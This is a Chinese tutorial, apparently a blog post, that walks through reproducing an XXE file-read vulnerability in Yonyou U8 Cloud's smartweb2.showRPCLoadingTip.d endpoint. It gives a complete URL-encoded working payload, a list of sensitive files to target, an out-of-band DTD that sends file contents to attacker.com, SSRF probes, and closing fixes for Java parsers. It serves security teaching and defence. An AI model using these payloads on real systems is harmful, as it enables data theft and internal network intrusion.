1. 项目概述一次针对用友U8 Cloud的XXE漏洞复现之旅最近在整理企业级应用安全测试案例时用友U8 Cloud的一个XXE漏洞引起了我的注意。这个漏洞的POC在安全社区流传已久但很多复现文章要么语焉不详要么只给了个请求包就草草了事。作为一个在甲方乙方都干过渗透测试的老兵我深知一个漏洞从“知道存在”到“真正理解并复现”之间隔着无数个细节和“坑”。今天我就以这个smartweb2.showRPCLoadingTip.d接口的XXE漏洞为例带大家完整地走一遍复现流程不仅告诉你“怎么做”更会拆解“为什么这么做”以及过程中那些文档里不会写的“坑”和技巧。XXE全称XML External Entity Injection即XML外部实体注入。简单来说就是应用程序在解析用户可控的XML数据时没有禁用或严格限制外部实体的加载导致攻击者可以读取服务器上的任意文件甚至可能造成服务端请求伪造、端口扫描乃至远程代码执行。用友U8 Cloud作为国内广泛使用的ERP系统其安全性直接关系到大量企业的核心业务数据。这个漏洞出现在一个看似不起眼的RPC接口上恰恰说明了安全防护的薄弱环节往往存在于非核心的业务功能点中。本次复现的目标很明确在一个授权的测试环境中通过构造特定的恶意XML payload利用该XXE漏洞成功读取到服务器上的敏感文件例如C:\Windows\win.ini或/etc/passwd从而验证漏洞的真实存在性和危害。整个过程将涉及环境搭建、漏洞原理分析、Payload构造、请求发送以及结果解读等多个环节。无论你是刚入门的安全爱好者还是想巩固Web安全知识的安全工程师这篇手把手的复现指南都能让你有所收获。我们不仅会复现漏洞更会深入理解其背后的XML解析机制和防御思路。2. 漏洞原理与用友U8 Cloud架构浅析2.1 XXE漏洞的核心机制当XML解析器“太听话”要理解这个漏洞我们得先抛开具体的用友U8 Cloud从XML本身说起。XML设计之初就包含了一个叫“外部实体”的特性它允许在一个XML文档中引用另一个外部资源比如本地文件或远程URL。这本是为了方便文档的模块化设计但在安全上却埋下了巨大的隐患。一个典型的包含外部实体声明的XML文档结构如下?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] dataxxe;/data当XML解析器处理这份文档时它会看到!ENTITY xxe SYSTEM file:///etc/passwd这行声明意思是“定义一个名为xxe的实体其内容来自file:///etc/passwd这个系统文件”。接着在dataxxe;/data中xxe;就是对之前定义的实体的引用。一个配置不当或默认配置的解析器会忠实地去读取/etc/passwd文件的内容并将其替换到xxe;的位置。如果这个XML数据是用户可控的那么攻击者就可以通过修改SYSTEM后面的URI让服务器读取任何他有权访问的文件。漏洞产生的根本原因在于服务端应用程序在处理XML输入时使用了默认启用外部实体解析的XML处理器如Java的DocumentBuilderFactory、PHP的libxml库等且没有对用户输入的XML内容进行有效的过滤或禁用DTDDocument Type Definition文档类型定义外部实体就在其中声明。注意并非所有XXE都能直接读取文件。能否成功还取决于服务器进程的权限能否访问目标文件、XML解析器的类型和配置是否支持file://协议等以及输出方式错误回显、延时判断还是盲注。我们遇到的这个用友漏洞属于有回显的XXE是相对容易利用的一种。2.2 用友U8 Cloud的接口与漏洞点定位用友U8 Cloud采用B/S架构后端大量使用Java技术栈前端通过HTTP请求与后端交互。其中/hrss/dorado/smartweb2.showRPCLoadingTip.d这个接口从路径看属于“人力资源系统”模块dorado可能是一个前端展现中间件smartweb2则是一套用于处理前端RPC调用的服务框架。showRPCLoadingTip.d这个action顾名思义可能用于在页面加载RPC数据时显示一个提示。关键在于它的一个参数__xml。从漏洞POC可以看出攻击的Payload正是通过这个参数传递的。后端服务在接收到这个请求后很可能直接将__xml参数的值一段XML字符串交给某个XML解析器进行处理而在这个过程中没有禁用外部实体解析导致了漏洞。这里有一个关键细节POC中的Payload是经过URL编码的。原始的可读XML结构被编码成了一长串%3C、%26这样的字符。这是因为HTTP请求在传输过程中需要对一些特殊字符进行编码。__xml参数的值作为POST请求体application/x-www-form-urlencoded格式的一部分其中的、、等XML标记字符必须被编码否则会破坏请求本身的格式。这提醒我们在手工测试或编写攻击脚本时编码和解码是需要特别注意的环节。3. 复现环境准备与工具链选择3.1 靶场环境搭建思路要复现漏洞首先需要一个目标。对于企业级软件如用友U8 Cloud我们绝对不可以在未经授权的生产环境上进行测试。这里有几种安全的途径官方试用环境或演示系统有些厂商会提供在线试用或演示版本但这通常不是用于安全测试的且可能已修复漏洞。自行搭建测试环境这是最理想、最安全的方式。你可以从用友官方或某些渠道获取到特定版本的U8 Cloud安装包例如漏洞爆出时受影响的版本在一台隔离的虚拟机VM中安装。这能让你完全控制环境反复测试。使用在线漏洞演练平台一些网络安全学习平台会集成经典的漏洞环境但像U8 Cloud这样的大型商业软件环境比较少见。对于本次复现我假设你已经在一个隔离的局域网内搭建好了一套用友U8 Cloud的测试系统并知道了它的IP地址和访问端口。记住所有测试必须在法律允许和授权明确的范围内进行。3.2 核心工具Burp Suite与手动构造工欲善其事必先利其器。复现XXE漏洞我们主要需要两类工具HTTP请求拦截/重放工具和Payload生成/编码工具。Burp Suite Professional/Community (必选)这是Web安全测试的“瑞士军刀”。我们主要用到它的**Proxy代理和Repeater重放器**功能。Proxy用于拦截浏览器发送的请求。我们需要配置浏览器代理指向Burp然后访问U8 Cloud系统找到目标接口的请求。Repeater这是我们的主战场。将拦截到的请求发送到Repeater可以让我们随意修改请求参数并观察服务器的响应无需通过浏览器反复操作。浏览器与开发者工具用于正常的网站访问和初步的请求观察。按F12打开开发者工具在“网络(Network)”标签页下可以看到所有的HTTP请求和响应。编码工具Burp Suite自带一个强大的Decoder模块可以方便地进行URL编码/解码、Base64编码/解码等。我们构造好的XML Payload需要用它转换成URL编码格式。为什么不直接用Python的requests库写脚本对于初次复现和学习来说Burp Suite的图形化界面和实时反馈能让你更直观地理解整个请求-响应的过程看到原始的HTTP报文结构这对于调试Payload和排查问题至关重要。脚本化是后续批量测试或自动化时才需要考虑的。4. 漏洞复现详细步骤拆解4.1 步骤一定位与拦截目标请求首先启动Burp Suite确保Proxy监听是开启的默认127.0.0.1:8080。配置你的浏览器以Chrome为例可以安装SwitchyOmega插件或者直接使用系统代理设置的HTTP代理为127.0.0.1:8080。用浏览器访问你的用友U8 Cloud测试地址例如http://192.168.1.100:8080正常登录系统。由于我们目标是/hrss/dorado/smartweb2.showRPCLoadingTip.d这个接口我们需要找到触发这个接口的前端操作。根据接口名称和路径推测它可能出现在人力资源模块的某些操作环节比如密码重置、加载用户信息等。一个更直接的方法是在Burp Suite开启的情况下在U8 Cloud界面中进行各种点击操作同时观察Burp的Proxy - Intercept标签页如果拦截开启或者Proxy - HTTP history标签页。在HTTP history中寻找URL路径中包含smartweb2.showRPCLoadingTip.d的POST请求。找到后右键点击该请求选择“Send to Repeater”。这样我们就把它发送到了可以随意修改的重放器。实操心得大型系统如U8 Cloud请求非常多。可以使用Burp的Filter过滤器功能在Proxy历史记录中过滤出包含showRPCLoadingTip关键词的请求能快速定位。如果一时找不到可以尝试直接访问完整的URL路径但有时接口需要特定的会话或参数才能正确响应。4.2 步骤二分析原始请求结构与参数在Repeater标签页中我们可以看到刚刚发送过来的完整HTTP请求。它应该大致长这样具体字段值可能不同POST /hrss/dorado/smartweb2.showRPCLoadingTip.d?skindefault__rpctruewindows1 HTTP/1.1 Host: 192.168.1.100:8080 User-Agent: Mozilla/5.0... Accept: */* Accept-Language: zh-CN,zh;q0.9 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONIDxxxxxx; other_cookies... Connection: close Cache-Control: no-cache __typeupdateData__viewInstanceIdnc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel__xml%3C%21%5BCDATA%5B...%5D%5D%3E...我们需要重点关注几个部分请求行POST /hrss/dorado/smartweb2.showRPCLoadingTip.d?skindefault__rpctruewindows1 HTTP/1.1。确认目标路径正确。请求头Content-Type: application/x-www-form-urlencoded表明请求体是表单格式。Cookie字段至关重要它维持了你的登录会话没有有效的Cookie服务器会返回未授权错误。请求体这是最关键的部分。它是application/x-www-form-urlencoded格式即key1value1key2value2...。我们可以看到三个参数__typeupdateData__viewInstanceIdnc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel__xml...后面是一长串URL编码后的字符串原始请求中的__xml参数值很可能是一段合法的、用于正常业务逻辑的XML数据并且被CDATA区块包裹着从%3C%21%5BCDATA%5B可以看出这是![CDATA[的URL编码。我们的攻击思路就是替换掉这个__xml参数的值将其换成我们精心构造的、包含恶意外部实体声明的XML Payload。4.3 步骤三构造并编码恶意XXE Payload现在我们来构造Payload。POC中给出的Payload是一个可以直接利用的范例。我们将其解码并美化看看它的真面目!DOCTYPE z [ !ENTITY test SYSTEM file:///c:/windows/win.ini ] rpc transaction1 methodresetPwd def dataset typeCustom iddsResetPwd f nameuser /f /dataset /def data rs datasetdsResetPwd r id1 stateinsert n v1/v /n /r /rs /data vps p name__profileKeystest;/p /vps /rpc逐段解析!DOCTYPE z [ !ENTITY test SYSTEM file:///c:/windows/win.ini ]这是DTD声明部分。它定义了一个名为z的文档类型并在其中声明了一个外部实体test其内容来自file:///c:/windows/win.ini。如果目标系统是Linux则需要改为file:///etc/passwd。剩下的部分是一个结构化的XML看起来是U8 Cloud的RPC协议格式。它定义了数据集、数据等。关键在于最后一部分vpsp name__profileKeystest;/p/vps。这里在p标签的内容中引用了我们之前定义的实体test;。当XML解析器处理到这里时就会去读取win.ini文件并将其内容替换到test;的位置。那么为什么是__profileKeys这个属性名这很可能是该接口在解析XML时会特别处理vps节点下name为__profileKeys的p标签的内容并将其内容以某种形式返回给前端或记录到日志从而造成了回显。这是通过分析该接口的正常业务逻辑或反编译代码才能得知的POC作者已经帮我们找到了这个“回显点”。接下来是编码我们不能直接将上面这段漂亮的XML粘贴到请求体里。因为请求体是application/x-www-form-urlencoded格式、、、等字符有特殊含义必须进行URL编码Percent-Encoding。使用Burp Suite的Decoder模块非常方便将上面整段XML从!DOCTYPE到/rpc复制。打开Burp的Decoder标签页。在文本区域粘贴XML。在右侧编码选项中选择“URL”并确保是“Encode as”编码。你会立刻看到编码后的结果是一长串以%开头的字符串。全选编码后的字符串复制。关键检查点确保编码后的字符串中空格被编码成了%20而不是。在application/x-www-form-urlencoded格式中空格通常被编码为但在XML字符串内部空格必须用%20表示。Burp Suite的URL编码默认会处理正确。一个快速的检查方法是看编码后的字符串里有没有%3C、%3E、%26、%22这些关键字符。4.4 步骤四发送Payload并验证结果回到Repeater在请求体部分将__xml参数原有的值那长串编码全部删除替换为我们刚刚复制好的、新的恶意Payload编码字符串。整个请求体应该看起来像这样__typeupdateData__viewInstanceIdnc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel__xml%3C%21DOCTYPE%20z%20%5B%3C%21ENTITY%20test%20SYSTEM%20%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22%3E%5D%3E%3Crpc%20transaction%3D%221%22%20method%3D%22resetPwd%22%3E%3Cdef%3E%3Cdataset%20type%3D%22Custom%22%20id%3D%22dsResetPwd%22%3E%3Cf%20name%3D%22user%22%3E%3C%2Ff%3E%3C%2Fdataset%3E%3C%2Fdef%3E%3Cdata%3E%3Crs%20dataset%3D%22dsResetPwd%22%3E%3Cr%20id%3D%221%22%20state%3D%22insert%22%3E%3Cn%3E%3Cv%3E1%3C%2Fv%3E%3C%2Fn%3E%3C%2Fr%3E%3C%2Frs%3E%3C%2Fdata%3E%3Cvps%3E%3Cp%20name%3D%22__profileKeys%22%3E%26test%3B%3C%2Fp%3E%3C%2Fvps%3E%3C%2Frpc%3E确认无误后点击Repeater上的“Send”按钮发送请求。观察响应如果漏洞存在且利用成功服务器的响应Response中应该会包含win.ini文件的内容。响应可能是一个XML、JSON或者HTML格式的数据。你需要仔细在响应体中搜索win.ini文件中特有的内容。例如win.ini文件开头通常有; for 16-bit app support这样的注释。你可以在Burp的Response面板中使用搜索功能CtrlF查找“16-bit”或“app support”等关键词。如果成功找到了文件内容恭喜你漏洞复现成功这证明该接口确实存在XXE漏洞并且服务器进程有权限读取C:\Windows\win.ini文件。重要提示如果响应是空的、返回了错误代码如500 Internal Server Error或者返回的内容看起来是经过封装、看不到明文文件内容这并不一定代表漏洞不存在。可能是Payload构造有误、编码问题、文件路径不对比如目标是Linux系统却用了Windows路径或者是漏洞被部分防御但仍有其他利用方式如盲XXE。这就需要进一步的排查和测试。5. 深度利用与拓展测试思路5.1 尝试读取其他敏感文件成功读取win.ini只是一个开始它证明了文件读取能力的存在。接下来我们可以尝试读取更敏感的文件以评估漏洞的实际危害。需要根据操作系统类型来切换路径Windows系统file:///C:/Windows/System32/drivers/etc/hosts查看主机文件。file:///C:/boot.ini较老系统的启动配置文件。file:///C:/Windows/win.ini已测试。file:///C:/Windows/System32/config/SAM尝试读取SAM数据库通常被系统锁定但有时在特定权限下可读。file:///C:/Program Files (x86)/用友/U8Cloud/.../web.xml尝试读取U8 Cloud自身的配置文件可能包含数据库连接字符串等极度敏感信息。这需要你根据实际安装路径进行猜测。Linux系统file:///etc/passwd查看用户列表。file:///etc/shadow尝试读取用户密码哈希需要root权限。file:///etc/hosts主机文件。file:///proc/self/environ读取当前进程的环境变量可能泄露路径、密钥等信息。file:///home/[username]/.bash_history尝试读取用户的历史命令可能包含敏感操作。file:///usr/local/U8Cloud/.../config.properties寻找应用配置文件。操作方法只需修改Payload中SYSTEM后面的URI重新编码__xml参数的值然后发送请求即可。5.2 探索盲XXEBlind XXE的可能性有回显的XXE是幸运的。但很多时候服务器虽然解析了外部实体但并不会将读取到的内容直接输出在响应里。这就是“盲XXE”。对于盲XXE我们需要利用其他方式来证明漏洞存在并获取数据。1. 带外数据外带OOB - Out-of-Band这是最常用的盲XXE利用技术。原理是让服务器向我们控制的另一台服务器发起HTTP或DNS请求从而将数据带出来。!DOCTYPE foo [ !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] rpc.../rpc而http://attacker.com/evil.dtd文件内容可能是!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;这个Payload会尝试读取/etc/passwd文件并将其内容作为URL参数的一部分向attacker.com发起请求。我们只需要在attacker.com的Web服务器日志中查看接收到的请求就能看到文件内容需要处理URL编码和长度限制。2. 基于错误的XXE有些解析器在遇到错误时会将错误信息其中可能包含我们读取的文件内容返回。可以尝试构造错误的实体引用或使用特殊的协议如php://filter在PHP环境下来触发错误回显。3. 延时判断通过让服务器加载一个不存在的、但访问会耗时很长的外部资源如一个设置了大延迟的HTTP端点然后观察服务器响应时间是否显著变长来判断外部实体是否被解析。这只适用于判断漏洞存在无法获取数据。对于用友U8 Cloud这个具体漏洞如果原始POC的有回显方式失效就应该立即尝试盲XXE的Payload。将file://协议替换为http://你的公网服务器地址观察服务器是否有出网请求。5.3 尝试SSRF与端口扫描XXE的SYSTEM关键字不仅支持file://协议还支持http://、ftp://、gopher://等协议。这意味着如果服务器所在网络环境允许无严格出站限制我们可以利用这个漏洞让服务器向内部网络的其他系统发起请求即服务端请求伪造SSRF。例如!ENTITY test SYSTEM http://192.168.1.1:8080/internal_admin_page这可以用于探测内网存活主机和端口。通过观察响应时间或错误信息连接拒绝、超时等可以判断目标端口是否开放。这是一种相对隐蔽的内网探测手段。注意事项SSRF和端口扫描的利用需要格外谨慎即使在授权测试中也要明确测试范围避免对非授权目标造成影响。6. 常见问题排查与实战技巧在实际复现过程中你可能会遇到各种各样的问题。下面我整理了一些常见的“坑”和解决思路。6.1 问题一发送Payload后返回500错误或空白响应这是最常见的情况。可能原因1Payload编码错误。这是最大的可能性。请仔细检查是否对整个XML进行了完整的URL编码编码后的字符串中是否被正确编码为%26这是最容易出错的地方。如果没有被编码它会被解析为请求体中参数的分隔符从而彻底破坏XML结构。可以在Burp Decoder中将你准备发送的__xml参数值解码一次看看是否能还原成格式良好的XML。如果不能说明编码有问题。可能原因2文件路径错误或权限不足。尝试换一个肯定存在且有读取权限的文件比如Windows下的C:\Windows\System32\drivers\etc\hosts路径写为file:///C:/Windows/System32/drivers/etc/hosts或者Linux下的/etc/hosts。可能原因3目标接口对XML结构有严格要求。POC中的XML结构rpc,def,vps等标签可能是该接口能正确处理的唯一格式。不要随意简化或修改这个结构只改动实体声明和引用部分。可以尝试先用一个无害的、不包含外部实体的相同结构XML测试接口是否正常工作。可能原因4会话失效。检查请求头中的Cookie是否有效。可以回到浏览器刷新页面或重新操作一下获取一个新的有效请求复制到Repeater。6.2 问题二响应中看不到文件内容但也没有错误可能原因1盲XXE。服务器解析了实体但没有将test;引用的内容输出到当前响应通道。此时应按照5.2节的方法尝试OOB带外通信。可能原因2输出位置不对。也许文件内容被输出到了其他地方比如服务器的日志文件、或者响应中某个被隐藏的字段。尝试在响应中全文搜索文件里的特定字符串如[fonts],root:x:等。可能原因3内容被截断或编码。如果文件内容很长可能被截断。或者内容中包含XML特殊字符如,被进行了转义变成lt;,amp;。查看响应体的原始格式看看是否有CDATA区块或者明显的转义字符。6.3 问题三如何判断目标系统是Windows还是Linux在信息不完全的情况下可以进行指纹识别通过报错信息故意构造一个错误的请求有时服务器的错误堆栈会暴露操作系统信息如java.io.FileNotFoundException: C:\...或/usr/local/...。通过默认文件探测可以准备两个Payload一个读c:/windows/win.ini一个读/etc/passwd轮流尝试。哪个返回了有效内容就是哪个系统。通过TTL值或端口网络层面这不是HTTP层面的但如果你能进行更底层的网络探测可以通过ping的TTL初始值大致判断Windows通常128Linux通常64。或者扫描服务器开放的端口如3389是Windows远程桌面22是SSH。6.4 实战技巧与注意事项保存工作流在Burp Suite的Repeater中测试成功的Payload可以右键选择“Save item”保存下来方便后续使用或报告编写。使用Intruder进行模糊测试如果你不确定哪个参数存在XXE或者想测试其他接口可以使用Burp的Intruder模块。将__xml参数的值设为Payload并标记为攻击位置然后使用一个包含多种XXE Payload的字典进行模糊测试观察响应差异。注意法律与授权再次强调所有测试必须在拥有明确书面授权的环境中进行。未经授权对任何系统进行渗透测试都是违法行为。测试后清理在授权的测试环境中如果测试造成了数据修改或服务异常应告知管理员并协助恢复。编写漏洞报告复现成功后应编写清晰、专业的漏洞报告。报告应包括漏洞标题、风险等级、影响的系统/版本、详细复现步骤请求/响应截图、漏洞原理简述、修复建议如禁用外部实体解析、使用安全的XML解析器、对输入进行严格过滤等。7. 漏洞修复建议与防御之道作为攻击方我们找到了漏洞作为防御方或开发者我们更应知道如何修复。针对此类XXE漏洞修复的核心思路是配置安全的XML解析器。对于Java用友U8 Cloud很可能使用Java如果使用DocumentBuilderFactory必须显式禁用外部实体和DTD。DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 关键安全配置 dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);如果使用SAXParserFactory或XMLInputFactory也有对应的安全属性需要设置。通用防御措施使用白名单过滤对用户输入的XML数据进行严格的模式验证XSD只允许预期的结构和数据。禁用DTD和外部实体如上述代码所示在所有XML解析场景中除非业务绝对必要否则应彻底禁用DTD和外部实体解析。使用安全的XML处理器优先使用默认配置更安全的XML库并及时更新到最新版本。输入净化在将用户输入传递给XML解析器之前对诸如!DOCTYPE,!ENTITY,SYSTEM,PUBLIC等关键词进行过滤或转义但这是一种较弱的补充手段不能作为主要防御。输出编码确保任何从XML解析结果中提取并输出到前端的数据都经过适当的编码防止二次注入。对于用友U8 Cloud的用户而言最直接的缓解措施是及时安装厂商发布的安全补丁。同时可以通过WAFWeb应用防火墙部署规则拦截包含!DOCTYPE、!ENTITY、SYSTEM等关键词的请求作为临时的防护手段。复现一个已知漏洞远不止是“照葫芦画瓢”发送一个数据包。从环境准备、原理理解、工具使用、Payload调试到深度利用和问题排查每一步都蕴含着对技术细节的把握。通过这次对用友U8 Cloud XXE漏洞的深入复现我希望你不仅掌握了一个漏洞的利用方法更能建立起一套完整的Web漏洞分析与测试思维。在安全这条路上好奇心与严谨心缺一不可。每一次成功的复现都是对攻击者思维的一次模拟也是对防御者视角的一次深化。